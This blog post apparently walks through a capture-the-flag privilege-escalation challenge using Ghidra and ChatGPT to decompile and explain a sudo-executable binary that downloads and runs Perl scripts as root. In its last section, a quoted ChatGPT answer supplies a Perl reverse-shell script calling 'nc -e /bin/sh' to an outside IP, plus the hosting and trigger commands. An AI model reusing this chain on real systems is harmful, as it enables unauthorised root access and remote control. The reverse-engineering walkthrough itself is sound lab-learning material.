ChatGPT Unraveled: A Guide to Leveraging AI for Software Reverse Engineering

ChatGPT Unraveled: A Guide to Leveraging AI for Software Reverse Engineering
Photo by Emiliano Vittoriosi / Unsplash

This week, we'll explore how ChatGPT can help with reverse engineering tasks. We'll be working with a program called "thingy," which is part of a computer security challenge. Since we can execute this software on a compromised host using sudo privileges, it's likely that "thingy" is the key to privilege escalation in this Capture The Flag (CTF) scenario. Our first step is to determine what "thingy" actually does.

To start, we attempt to run the program using the following command: sudo /usr/bin/thingy. However, the output we receive is unhelpful and doesn't provide much insight.

$ sudo /usr/bin/thingy
Exiting...

Next, we decide to examine the program using Ghidra to analyze its disassembly. For those well-versed in reverse engineering binaries, this particular program might be relatively straightforward to decipher. However, for less experienced individuals, understanding the disassembly could prove to be challenging.

In the decompiled output generated by Ghidra, we notice several conditional checks responsible for producing the "Exiting..." message we encountered earlier. Our primary objective is to bypass these checks to gain further insight into the program's functionality.

undefined8 main(int argc,long argv)

{
  __uid_t _Var1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char *__s;
  char *__s_00;
  
  if (argc != 3) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar2 = strcmp(*(char **)(argv + 0x10),"lDnxUysaQn");
  if (iVar2 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(*(char **)(argv + 0x10),"wb");
  uVar3 = curl_easy_init();
  curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(argv + 8));
  curl_easy_setopt(uVar3,0x2711,__stream);
  curl_easy_setopt(uVar3,0x2d,1);
  iVar2 = curl_easy_perform(uVar3);
  if (iVar2 == 0) {
    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(argv + 0x10));
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(argv + 0x10));
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

We then turn to ChatGPT for assistance and pose the following question: "Can you help me clean up this C function to make it more readable, while ensuring the execution and output messages remain identical?" This query emphasizes the need for code clarity without introducing any creative changes or modifications that could alter the program's behavior. The cleaned-up code generated by ChatGPT is displayed below. As you can see, it's significantly easier to comprehend, even for those with limited or no experience in the subject matter.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <curl/curl.h>

int main(int argc, char *argv[]) {
    uid_t user_id;
    int result;
    FILE *file;
    CURL *curl_handle;
    char *buffer;
    char *command;

    if (argc != 3) {
        puts("Exiting...");
        exit(0);
    }

    user_id = getuid();
    if (user_id != 0) {
        puts("Exiting...");
        exit(0);
    }

    result = strcmp(argv[2], "lDnxUysaQn");
    if (result != 0) {
        puts("Exiting...");
        exit(0);
    }

    puts("Running...");
    file = fopen(argv[2], "wb");
    curl_handle = curl_easy_init();
    curl_easy_setopt(curl_handle, CURLOPT_URL, argv[1]);
    curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, file);
    curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L);
    result = curl_easy_perform(curl_handle);

    if (result == CURLE_OK) {
        size_t buffer_size = snprintf(NULL, 0, "%s", argv[2]) + 1;
        buffer = (char *) malloc(buffer_size);
        snprintf(buffer, buffer_size, "%s", argv[2]);

        size_t command_size = snprintf(NULL, 0, "perl ./%s", buffer) + 1;
        command = (char *) malloc(command_size);
        snprintf(command, command_size, "perl ./%s", buffer);

        fclose(file);
        curl_easy_cleanup(curl_handle);
        setuid(0);
        system(command);
        system("rm -f ./lDnxUysaQn");
        return 0;
    }

    puts("Exiting...");
    exit(0);
}

Moving forward, we can request ChatGPT to clarify the function's purpose. By posing a simple question like "Can you give me a bulleted list of what this function does?", we receive the following breakdown:

  1. Checks if the number of command-line arguments is equal to 3. If not, it prints "Exiting..." and exits the program.
  2. Retrieves the user ID of the current user. If the user ID is not 0 (i.e., the user is not the root user), it prints "Exiting..." and exits the program.
  3. Compares the second command-line argument (argv[2]) with the string "lDnxUysaQn". If they are not equal, it prints "Exiting..." and exits the program.
  4. Prints "Running..." and proceeds with the following operations.
  5. Opens a file with the name specified in argv[2] (which should be "lDnxUysaQn") for writing in binary mode.
  6. Initializes a cURL handle.
  7. Sets the URL to the first command-line argument (argv[1]), the file stream for writing the data, and enables following HTTP redirects.
  8. Performs the cURL request.
  9. If the cURL request is successful: a. Allocates memory for a buffer to store the filename. b. Allocates memory for a command string to execute a Perl script. c. Closes the file and cleans up the cURL handle. d. Sets the user ID to 0 (root user). e. Executes the Perl script with the filename stored in the buffer. f. Deletes the file with the name "lDnxUysaQn". g. Returns 0 (success).
  10. If the cURL request is not successful, it prints "Exiting..." and exits the program.

We can also seek ChatGPT's assistance in testing the function. By asking, "Can you create a Perl script that will execute 'nc -e 10.10.14.254 1337' and provide the command needed to download and execute the script with this program?", We can see from the response below that it provides us clear instruction on what we need to do to achieve our goal!

Sure! First, create a Perl script named nc_exec.pl with the following content:

#!/usr/bin/perl
use strict;
use warnings;

system('nc -e /bin/sh 10.10.14.254 1337');

To download and execute this script with the given C program, you'll need to host the Perl script on a web server, such as using Python's built-in HTTP server:

  1. Navigate to the directory where the nc_exec.pl file is located.
  2. Run the following command to start a simple HTTP server on port 8000:
python3 -m http.server 8000

Now, assuming your C program is compiled and named thingy, you can use the following command to download and execute the Perl script with the program:

./thingy http://<your_server_ip>:8000/nc_exec.pl lDnxUysaQn

Replace <your_server_ip> with the IP address of the server hosting the Perl script.

The C program will download the Perl script and save it as "lDnxUysaQn". Then, it will execute the script, which in turn runs the nc -e /bin/sh 10.10.14.254 1337 command to establish a reverse shell to the specified IP address and port.

It's possible that some people might argue that utilizing tools like ChatGPT is a bad practice, or that we should not rely on them too heavily. However, in my opinion, ChatGPT is just another tool that security professionals and enthusiasts can utilize to make their work more efficient and effective. Failing to leverage the technology available to us would be unwise, much like manually writing shell scripts in assembly when higher-level programming languages can do the job just as well (or even better). And who knows, ChatGPT might even be able to assist with optimizing code in certain scenarios. Ultimately, using any tool requires discretion, critical thinking, and a deep understanding of the underlying concepts.